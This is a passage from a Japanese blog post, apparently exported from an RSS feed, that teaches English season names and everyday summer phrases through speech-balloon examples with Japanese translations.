<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/169A504F-F9B3-45A6-89D2-01D312A50D34-scaled.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/169A504F-F9B3-45A6-89D2-01D312A50D34-scaled.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/169A504F-F9B3-45A6-89D2-01D312A50D34-scaled.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/169A504F-F9B3-45A6-89D2-01D312A50D34-scaled.jpg?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/169A504F-F9B3-45A6-89D2-01D312A50D34-scaled.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/169A504F-F9B3-45A6-89D2-01D312A50D34-scaled.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">&#x1f31e; 夏の英語表現30選｜暑さ・花火・夏休みを英語で話そう！</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/05/26/starren3/' title='【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/02/11/valentinesday/' title='英語でバレンタインのメッセージを伝えよう！スイーツにちなんだイディオムで愛の告白してみよう'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">英語でバレンタインのメッセージを伝えよう！スイーツにちなんだイディオムで愛の告白してみよう</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[<p>夏本番！暑い夏が続いていますが、ということで、今回は、夏に関するさまざまな英語表現をたくさんご用意しました。楽しく夏を盛り上げましょう！</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:82px;height:auto"/></figure>



<h2 class="wp-block-heading">季節のおさらい</h2>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="459" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-cherry-trees-in-bloom.jpg?resize=678%2C459&#038;ssl=1" alt="" class="wp-image-4507" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-cherry-trees-in-bloom.jpg?w=1023&amp;ssl=1 1023w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-cherry-trees-in-bloom.jpg?resize=300%2C203&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-cherry-trees-in-bloom.jpg?resize=768%2C520&amp;ssl=1 768w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>


<table style="height: 160px; width: 100%; border-collapse: collapse; border-color: #ffde96; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-color: #ffde96; background-color: #ffde96;">
<td style="width: 20.2976%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>季節名（日本語）</strong></td>
<td style="width: 59.3452%; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center; height: 23px;"><strong>季節名（英語）</strong></td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 20.2976%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>春</strong></td>
<td style="width: 59.3452%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;"><strong>spring</strong></td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 20.2976%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><span style="color: #ff0000;"><strong>夏</strong></span></td>
<td style="width: 59.3452%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;"><span style="color: #ff0000;"><strong>summer</strong></span></td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 20.2976%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>秋</strong></td>
<td style="width: 59.3452%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;"><strong>fall（主にアメリカで）／autumn（主にイギリスで）</strong></td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 20.2976%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>冬</strong></td>
<td style="width: 59.3452%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;"><strong>winter</strong></td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 20.2976%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>季節</strong></td>
<td style="width: 59.3452%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;"><strong>season（単数）／seasons（複数）</strong></td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 20.2976%; height: 22px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>四季</strong></td>
<td style="width: 59.3452%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 22px;"><strong>four seasons</strong></td>
</tr>
</tbody>
</table>


<p>定冠詞<strong>the</strong>は、付けても付けなくてもOK。文脈や思い出などで、その季節を特定したい際に使います。ちなみに、年々、残暑が厳しくなる日本ですが、北半球では6月から8月、南半球では12月から2月が夏季を指します。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:60px;height:auto"/></figure>



<h2 class="wp-block-heading">夏の日常を英会で話してみよう！<br>(Summer Daily Phrases)</h2>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="453" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-multiethnic-friends-sunglasses-taking-selfie-smartphone-swimming-pool.jpg?resize=678%2C453&#038;ssl=1" alt="" class="wp-image-4504" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-multiethnic-friends-sunglasses-taking-selfie-smartphone-swimming-pool.jpg?w=1023&amp;ssl=1 1023w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-multiethnic-friends-sunglasses-taking-selfie-smartphone-swimming-pool.jpg?resize=300%2C200&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-multiethnic-friends-sunglasses-taking-selfie-smartphone-swimming-pool.jpg?resize=768%2C513&amp;ssl=1 768w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p>夏に使えそうなフレーズを集めてみました。こんなシーンやあんなシーン、いろんなところで、時にはスラングを使って英語で夏を表現してみましょう！</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/glasses_businessman_people_male_man_avatar_leader-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>Summer is coming soon!<br>Summer is around the corner!</strong><br>もうすぐ夏が来るよ！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ponytail_people_woman_teenager_avatar_cute-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff5f8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fff5f8"></span><span class="vk_balloon_content_after "></span>
<p><strong>Summer has come!</strong><br>夏が来た！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_2-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>It’s summer.</strong><br>夏だね</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_beautiful_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fbf0e8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fbf0e8"></span><span class="vk_balloon_content_after "></span>
<p><strong>Summer will come right after rainy season</strong><br>梅雨が明けると夏が始まるよ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/12/cat14.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e1f1fa"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e1f1fa transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Hot days linger on, Cicadas&#8217; shrill song fills the air.</strong><br>暑い夏の日々続き、蝉の鳴き声満ちる空</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_man_afro_african_avatar_male_teenager-2-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f5ecfe"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #f5ecfe"></span><span class="vk_balloon_content_after "></span>
<p><strong>I used to go to Okinawa during midsummer.</strong><br>真夏に沖縄によく行ったんだよね</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ponytail_people_woman_teenager_avatar_portrait-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fef7e3"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fef7e3 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I love summer vacation because I can go surfing everyday!</strong><br>毎日サーフィンに行けるから夏休みってサイコー！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_female_young_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f3ecec"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #f3ecec"></span><span class="vk_balloon_content_after "></span>
<p><strong>Summer is the perfect season for outdoor activities like diving and camping.</strong><br>夏ってダイビングやキャンプみたいな野外アクティビティにぴったりな季節だよね</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_freckles_ginger-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#dff9ef"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #dff9ef transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can’t wait for summer vacation.</strong><br>夏休みが待ち遠しいよね！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ponytail_people_woman_teenager_avatar_portrait-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffefe0"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffefe0"></span><span class="vk_balloon_content_after "></span>
<p><strong>The summery outfit suits on you!　</strong><br>その夏服すごく似合ってるよ！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_hat_ear_piercing-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f3e6ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f3e6ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I Dream of Summers That Last Forever</strong><br>終わらない夏があればいいのに</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ponytail_people_woman_teenager_avatar_cute-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f9f1d9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #f9f1d9"></span><span class="vk_balloon_content_after "></span>
<p><strong>This summer is going to be hot.</strong><br>今年の夏は暑くなるよ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/9012464-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>It’s so hot! I feel like I’m melting.</strong><br>暑い！溶けてしまいそうだよ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_blonde_pony_tail_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffefef"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffefef"></span><span class="vk_balloon_content_after "></span>
<p><strong>Summer is just around the corner.</strong><br>もうすぐ夏ですね</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_1-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e3fdf2"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e3fdf2 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Let’s go for a swim.</strong><br>泳ぎに行こう！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_female_adult_people_woman_doctor_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f0dfff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #f0dfff"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m on summer vacation.</strong><br>夏休み中なんだよ、今</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ponytail_people_woman_teenager_avatar_portrait-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff5d9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff5d9 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The sunshine is so strong today.</strong><br>今日は日差しが強いね</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_freckles_ginger-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ddf2ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ddf2ff"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can’t wait to go on vacation.</strong><br>バカンスが待ち遠しい！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ginger_curly_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fffed3"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fffed3 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Summer is the best season.</strong><br>夏が一番好きな季節です</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ponytail_people_woman_teenager_avatar_cute-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffeafa"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffeafa"></span><span class="vk_balloon_content_after "></span>
<p><strong>I want to eat some shaved ice.</strong><br>かき氷を食べたいな</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_hood-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e2ffd7"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e2ffd7 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m gonna catch some rays at the beach.</strong><br>ビーチで日光浴するんだ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ponytail_people_woman_teenager_avatar_portrait-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe0f9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe0f9"></span><span class="vk_balloon_content_after "></span>
<p><strong>I need to hit up the ice cream truck.</strong><br>アイスクリームの屋台に行かないと</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_2-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>Let’s chill by the pool.</strong><br>プールでまったりしよう</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_blonde_pony_tail_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#efe3fa"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #efe3fa"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m feeling the heat.</strong><br>暑いなぁ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_ear_piercing-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#eafff7"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #eafff7 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This weather is perfect for a pool party.</strong><br>この天気はプールパーティにもってこいだね</p>
</div></div></div>



<p></p>



